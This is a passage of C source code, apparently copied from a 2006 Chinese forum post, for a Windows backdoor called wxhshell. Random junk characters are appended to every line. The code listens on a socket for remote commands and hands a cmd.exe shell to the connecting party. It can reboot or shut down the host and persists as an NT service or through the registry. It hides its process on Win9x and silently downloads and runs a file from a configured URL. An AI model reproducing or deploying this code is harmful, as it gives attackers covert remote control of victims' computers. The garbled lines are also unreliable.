  5>S)+p  
  // 帮助 Jm]P,jaLc  
  case '?': { h0zv @,u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &&`-A6`p  
    break; "Rr650w[  
  } i-`J+8|d  
  // 安装 > ZKHjw  
  case 'i': { V})b.\"F  
    if(Install()) 1\%2@NR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1YvE/<6  
    else L(_bf/ @3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ac#I $V-  
    break; VK^m]??s_  
    } ,g{Ob{qT  
  // 卸载 1 ac;6`  
  case 'r': { j@Y'>3  
    if(Uninstall()) CP6xyXOlPB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^;.&=3N,+  
    else "D7wtpJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50NLguE  
    break; |&AZ95v   
    } 9"b  =W@  
  // 显示 wxhshell 所在路径 9{XV=a v  
  case 'p': { 6"u"B-cz  
    char svExeFile[MAX_PATH]; ,?`Zrxe[  
    strcpy(svExeFile,"\n\r"); 3s$vaV~(a  
      strcat(svExeFile,ExeFile); -=a,FDeR  
        send(wsh,svExeFile,strlen(svExeFile),0); nn{PhyK  
    break; _?c7{  
    } i6$q1*  
  // 重启 roHJ$~q?  
  case 'b': { oS#PBql4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); noQS bI @  
    if(Boot(REBOOT)) Ql{:H5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h0;R*c  
    else { Hm 17El68  
    closesocket(wsh); 3\0,>L9ET@  
    ExitThread(0); @XN|R  
    } M|}V6F_y  
    break; +$ 0wBU  
    } 4LkW`Sbm  
  // 关机 zL/r V<  
  case 'd': { (Kb_/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8m 5T  
    if(Boot(SHUTDOWN)) -^&NwLEv=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HAdDr!/`  
    else { YzeNr*  
    closesocket(wsh); ID8u&:  
    ExitThread(0); U\x $@J  
    } 2su/I  
    break; WADAp\&  
    } ){$*<#&H  
  // 获取shell {&0u:  
  case 's': { S)=3%toS>  
    CmdShell(wsh); VrnZrQj<  
    closesocket(wsh); ]lZ g }7h  
    ExitThread(0); eR>|1s%^  
    break; a?8boN(  
  } Fu[<zA^  
  // 退出 ['Y"6[1  
  case 'x': { kKz>]t"A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VhLS*YiSY  
    CloseIt(wsh); 7)dCdO  
    break; b;I zK'  
    } J)._&O$  
  // 离开 JXF0}T)C  
  case 'q': { !YENJJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cN%@ nW0i  
    closesocket(wsh); KK, t!a  
    WSACleanup(); _o'a|=Osx>  
    exit(1); |wGmu&fY  
    break; EClx+tz;`  
        } \x<i6&.  
  } -SUK [<=X  
  } aXh~w<5F  
)8*}-z  
  // 提示信息 \"1%>O*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @cu#rWiG  
} uo-1.[9ds  
  } eNu]K,rT  
c)4L3W-x=  
  return; sr-tZ^d5S?  
} e&-MP;kgW9  
Fuy"JmeR  
// shell模块句柄 Wg\MaZ6Di  
int CmdShell(SOCKET sock) BI+x6S>d  
{ P`AW8Y6o  
STARTUPINFO si; m"GgaH3,  
ZeroMemory(&si,sizeof(si)); C_S2a 0?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3wN{k\n s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Sv8c}8  
PROCESS_INFORMATION ProcessInfo; @Io@1[kj  
char cmdline[]="cmd"; '9@AhiNV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #T++5G  
  return 0; e5#?@}?  
} IZ<Et/3H  
=B0AG9Fz  
// 自身启动模式 PC3?eS}  
int StartFromService(void) 6 l7iX]  
{ ]\ t20R{z  
typedef struct g9@H4y6fe=  
{ pch8A0JAl)  
  DWORD ExitStatus; !p!^[/9"c  
  DWORD PebBaseAddress; pMd!Jl#(N  
  DWORD AffinityMask; X"g`hT"i  
  DWORD BasePriority; )>,ndKT~  
  ULONG UniqueProcessId; }h1y^fuGi  
  ULONG InheritedFromUniqueProcessId; -8:/My  
}   PROCESS_BASIC_INFORMATION; Q!70D)O$  
$;Z0CG  
PROCNTQSIP NtQueryInformationProcess; @]7s`?  
$g_|U:,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .S*VYt%K7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <FfmDR  
*R3^:Y&  
  HANDLE             hProcess; <b-OdOg  
  PROCESS_BASIC_INFORMATION pbi; |cgc^S/~H  
{$Z S 2 7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tly*i"[&  
  if(NULL == hInst ) return 0; DO6 pv  
17#t7Yk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V I]~uTV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V-dyeb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y2[ik<  
c!N#nt_<  
  if (!NtQueryInformationProcess) return 0; 7n]ukqZ  
 lofP$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S/dj])g  
  if(!hProcess) return 0; z&yVU<;  
Mh]4K" cs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j937tn!Q  
*#83U?  
  CloseHandle(hProcess); 31cZ6[  
2=7:6Fw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VUC_|=?dL  
if(hProcess==NULL) return 0; /sr. MT  
yVWt%o/  
HMODULE hMod; -J>f,zA  
char procName[255]; d)GR]^=r  
unsigned long cbNeeded; 5E^P2Mlc  
|k#EYf#Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pgPm0+N  
E+cx 8(   
  CloseHandle(hProcess); 8>`8p0I$+  
\%_sL#?  
if(strstr(procName,"services")) return 1; // 以服务启动 b%7zu}F  
'EC0|IT)c  
  return 0; // 注册表启动 wRg[Mu,Q5  
} s9SUj^  
baGV]=j  
// 主模块 `jec|i@oO  
int StartWxhshell(LPSTR lpCmdLine) u)vS,dzu  
{ IZuP{7p$  
  SOCKET wsl; +I+RNXR/{  
BOOL val=TRUE; C!Jy;Z=+u  
  int port=0; o1thGttVDg  
  struct sockaddr_in door; [9yd29pQ]  
.E;}.X  
  if(wscfg.ws_autoins) Install(); Ld 0j!II(  
|Xmzq X%  
port=atoi(lpCmdLine); -Gjz+cRns  
4kR;K !@k  
if(port<=0) port=wscfg.ws_port; GJ:oUi  
2V*;=cv~z  
  WSADATA data; MAQ-'s@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$_^f*sFn  
-.K'rW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6=96^o*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !-t"}^)  
  door.sin_family = AF_INET; f|Nkk*9$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >M^:x-mib  
  door.sin_port = htons(port); XB a^ A  
*ZIX76y<!A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iD/+#UTY  
closesocket(wsl); |h6, .#n  
return 1; N{<5)L~Y  
} !Wj`U$];  
jOZ>^5}  
  if(listen(wsl,2) == INVALID_SOCKET) { =&PO_t5)z  
closesocket(wsl); hqV_MeHv'  
return 1; @u`m6``T  
} <pM6fI6BD  
  Wxhshell(wsl); Y=,9M  
  WSACleanup(); Gn4XVzB`O  
b>]UNf"-  
return 0; r@PVSH/  
?;A\>sP  
} ?rziKT5OOC  
}{mS"  
// 以NT服务方式启动 %vbov}R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ago  
{ fKO@Qx]  
DWORD   status = 0; KN&|&51p}  
  DWORD   specificError = 0xfffffff; 5Rp mR  
bK{ VjXF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &'Xgf!x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?v`24p3PC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JW"`i   
  serviceStatus.dwWin32ExitCode     = 0; HY;kV6g{P  
  serviceStatus.dwServiceSpecificExitCode = 0; /J9Or{#r  
  serviceStatus.dwCheckPoint       = 0; 0IZF%`  
  serviceStatus.dwWaitHint       = 0; %3. np  
,; Uf>8~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Hs6Kki1  
  if (hServiceStatusHandle==0) return; A@-U#UvN  
dj}|EW4  
status = GetLastError(); @'y8* _  
  if (status!=NO_ERROR) Df$~=A}  
{ s[VYd:}se  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w|NId,#f  
    serviceStatus.dwCheckPoint       = 0; 0QyL}y2  
    serviceStatus.dwWaitHint       = 0; *;Cpz[N  
    serviceStatus.dwWin32ExitCode     = status; @z:E]O}  
    serviceStatus.dwServiceSpecificExitCode = specificError; L uW""P/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ucz=\dO1  
    return; }PM7CZSq  
  } 40z1Qkmaey  
yCkX+{ki  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P6({wx  
  serviceStatus.dwCheckPoint       = 0; \jZ)r>US"  
  serviceStatus.dwWaitHint       = 0; ]@~%i=. 7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U }I#;*F  
} "p+JME(  
&he:_p$x  
// 处理NT服务事件,比如:启动、停止 xNa66A-8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qnqS^K,':  
{ Z$%!H7w  
switch(fdwControl) (W}DMcuSd  
{ /SyAjZ  
case SERVICE_CONTROL_STOP: G<]@nP{P  
  serviceStatus.dwWin32ExitCode = 0; Ggy?5N7P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N^AlhR^  
  serviceStatus.dwCheckPoint   = 0; \7%wJIeyx  
  serviceStatus.dwWaitHint     = 0; HVzkS|^F  
  { ;=1[D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4UK>Vzn  
  } :Ys ;)W+R  
  return; X":2o|R  
case SERVICE_CONTROL_PAUSE: cob??|,\m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nq|y\3]  
  break; [ $"  
case SERVICE_CONTROL_CONTINUE: #K iqV6E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K@Xj)  
  break; l}k'ZX4  
case SERVICE_CONTROL_INTERROGATE: mx#)iHY  
  break; sCp)o,;  
}; hegH^IN M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ej1WkaR8  
} d(Hqj#`-31  
0fK#:6  
// 标准应用程序主函数 (:h&c6'S)b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =W>a~e]/  
{ <fA}_BH%]  
ltMcEv-d0  
// 获取操作系统版本 0QxBC7` qp  
OsIsNt=GetOsVer(); &}K%F)S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); if3z Fh  
O@w_"TJP/z  
  // 从命令行安装 PWquu`  
  if(strpbrk(lpCmdLine,"iI")) Install(); u9u'5xAO  
] mK{E~Zll  
  // 下载执行文件 (f~}5O<  
if(wscfg.ws_downexe) { hZ.](rD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  kKY,&Fn-  
  WinExec(wscfg.ws_filenam,SW_HIDE); LabI5+g  
} F8M};&=*1r  
EMdU4YnE"  
if(!OsIsNt) { qT&zg@m  
// 如果时win9x,隐藏进程并且设置为注册表启动 oel?we6  
HideProc(); h cu\c+ A  
StartWxhshell(lpCmdLine); <q Q@OUI   
} E>O@Bv  
else !|z!e>0  
  if(StartFromService()) `LKf$cx(A  
  // 以服务方式启动 ;%cW[*Dw  
  StartServiceCtrlDispatcher(DispatchTable); 25r3[gX9`  
else g>`D!n::n  
  // 普通方式启动 B__e*d:)!m  
  StartWxhshell(lpCmdLine); .9Dncsnf,`  
5@ Hg 4.  
return 0; 9xE_Awlc85  
}
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只看该作者 1 发表于: 2006-10-10
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